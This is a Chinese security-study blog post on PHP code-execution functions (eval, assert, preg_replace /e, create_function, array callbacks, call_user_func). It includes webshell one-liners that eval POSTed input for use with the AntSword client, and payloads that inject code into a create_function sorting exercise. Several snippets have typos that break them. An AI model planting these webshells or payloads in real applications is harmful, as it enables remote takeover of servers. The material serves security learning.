04_代码执行

代码执行

一、原理

本质上是将php代码交给php解析器去执行

二、常见函数

1. eval

语言构造器 ,并不是一个函数,不能被可变函数调用

2. assert

断言

(1) 概念
断言 (编程术语)
断言是编程术语,表示为一些布尔表达式,程序员相信在程序中的某个特定点该表达式值为真,可以在任何时候启用和禁用断言验证,因此可以在测试时启用断言而在部署时禁用断言。同样,程序投入运行后,最终用户在遇到问题时可以重新启用断言。
使用断言可以创建更稳定、品质更好且 不易于出错的代码。当需要在一个值为FALSE时中断当前操作的话,可以使用断言。单元测试必须使用断言(Junit/JunitX)。

assert 必须接收一个有返回值的表达式,判断表达式返回的值为true还是false

(2) 如何判断表达式是否是一个有返回值的表达式?

直接将表达式赋值给变量,不报错的就是有返回值的表达式
报错的就是没有返回值的表达式
举例:
$a = phpinfo(); //不报错 有返回值的表达式
$a = echo 12345; //报错 没有返回值的表达式

echo 12345; 这种不是返回值的表达式无法用assert 解析
如果想用这种形式输出,再加个eval,例如?1=eval(‘echo 12345’); 这样就可以用assert输出12345

(3) eval和assert的区别

区别一:

eval 并不是一个函数,它是语言构造器 不能被可变函数调用
assert可以被可变函数调用
$a = 'assert';
$b(phpinfo());

区别二:

	assert 必须接收一个有返回值的表达式,也就是说得传个函数,return,有返回值这种
	而eval不需要,直接传php表达式代码即可
(4) 可变变量原理

${}代表可变变量的使用,其中{}的代码会被优先执行
使用前提:
(1) 单引号内不可以使用
(2) php版本5.5及以上

可变变量举例:                
$a = 'bihuo';
$bihuo = 'nihao';
$nihao = '2022_11_3';
echo ${${$a}};
3. preg_replace

正则替换函数

格式:
a = _GET['a'];
preg_replace('/test/e',$a,"just test!");

使用preg_replace函数进行代码执行的四个条件:
  1. 必须有模式修饰符号e,代表可执行代码
  2  php的版本必须<=5.6
  2. 必须可以在第三个参数匹配到正则的表达式
  3. 第二个参数必须直接或间接可控
4. create_function

创建一个匿名函数

lambda表达式是一个匿名函数
函数加上删除线就是deprecated 被废弃的,不建议使用,但还可以用
报错就是 removed 被移除的,不能使用

create_function() 接收两个参数
1. 匿名函数的形参
2. 匿名函数的函数体 
<?php
   $func = @create_function('$num1,$num2','return $num1+$num2;');
   echo $func(20,30);
<?php
	//题目:
    error_reporting(0);
    $sort_by = $_GET['sort_by'];
    $sorter = 'strnatcasecmp';
    $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
    $func = create_function('$a,$b', $sort_function);
    $func(1,$sort_by);
    
    //解析
   $func = function($a,$b) {
   //  return 1 * strnatcasecmp($a["bihuo15"], $b["bihuo15"]);
       return 1 * strnatcasecmp($a[" ${phpinfo()} "], $b["${phpinfo()}"]);
       return 1 * strnatcasecmp($a["1"].eval($_POST[12345]).["1"], $b["1"].eval($_POST[12345]).["1"]);
       return 1 * strnatcasecmp($a["1"].eval($_POST[12345]));};//"], $b["1"].eval($_POST[12345]));};//"]);

   };
   //$func(1,'bihuo15');

   $func(1,'${phpinfo()}');      //方法一  可变变量
   $func(1,'1"].eval($_POST[12345]).["1');  //方法二 闭合
   //如果说要注释create_function的函数体,则需要注意};的保留  因为在create_fucntion()函数中,匿名函数默认是写在一行的 function(){};
   $func(1,'1"].eval($_POST[12345]));};//');   //方法三  闭合加注释
5. usort

用户自定义排序函数(引用传值)

引用函数: 关键字&
<?php
   function add_self(&$num){
   ++$num;
   }
   $a = 100;
   add_self($a);
   echo $a;//100
<?php
    $arr = array(1,$_POST[12345]);
    usort($arr,function($num1,$num2){
    @assert($num1);
    @assert($num2);
    });
    var_dump($arr);
6. uasort

用户自定义排序函数,保留原数组中key的值

<?php
    arr = array(' '.{eval($_POST[12345])}.' '=>1,'num2'=>2);
    uasort(arr,function(num1,$num2){
    return num1-num2;
    });
    var_dump($arr);
7. array_map

将数组中的每一个元素经过$callback处理之后形成新的数组
取出数组中的每一个值,使用给定的函数执行,并将最终结果返回

(1) 举例: 数组中的每个值乘以15,生成新数组
<?php
   $arr = array(1,2,3,4,5,6);
   res = array_map(function(v){
   return 15*$v;
   },$arr);
   var_dump($res);

(2) 举例: 使用array_map连接蚁剑
<?php
   arr = array(_POST[12345]);
   res = array_map(function(v){
   eval($v);
   },$arr);
   var_dump($res);
8. array_filter

将数组中的每一个元素经过$callback 根据返回结果为true形成新的数组

(1) 举例: 将能被三整除的数字集合到一个数组
<?php
   $arr = array(1,3,77,189,111);
   function is_divided_by(num,div_num){
   return (num % div_num) == 0;
   }
   res = array_filter(arr,function($v){
   return is_divided_by($v,3);
   });
   var_dump($res);

(2) 举例: 使用array_filter连接蚁剑
<?php
   arr = array(_POST[12345]);
   res = array_filter(arr,function($v){
   @eval($v);
   });
   var_dump($res);
9. array_reduce

递归式的调用上一次的结果和当前成员交给$callback处理
当需要将数组中的每一个值都参与到特定的运算中的时候,使用此函数

(1) 举例: 数组中所有数的乘积
<?php
   $arr =array(1,2,3,-4,5,10,23,12);
   res=array_reduce(arr,function(num1,num2){
   return num1*num2;
   },1);
   echo $res;

(2) 举例: 数组中所有数的总和
<?php
   $arr =array(1,2,3,-4,5,10,23,12);
   res=array_reduce(arr,function(num1,num2){
   return num1+num2;
   },0);
   echo $res;

(3) 举例: 使用array_reduce连接蚁剑
<?php
   arr =array(1,_POST[12345]);
   res = array_reduce(arr,function(num1,num2){
   @assert($num1);
   @assert($num2);
   },1);
   echo $res;
10. call_user_func

调用用户自定义函数

<?php
   //call_user_func('assert','phpinfo()');
     call_user_func(_GET[1],_GET[2]);
11. call_user_func_array

此时调用自定义函数的参数以数组的形式传递

<?php
  	 call_user_func_array(_GET[1],array(_GET[2]));
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值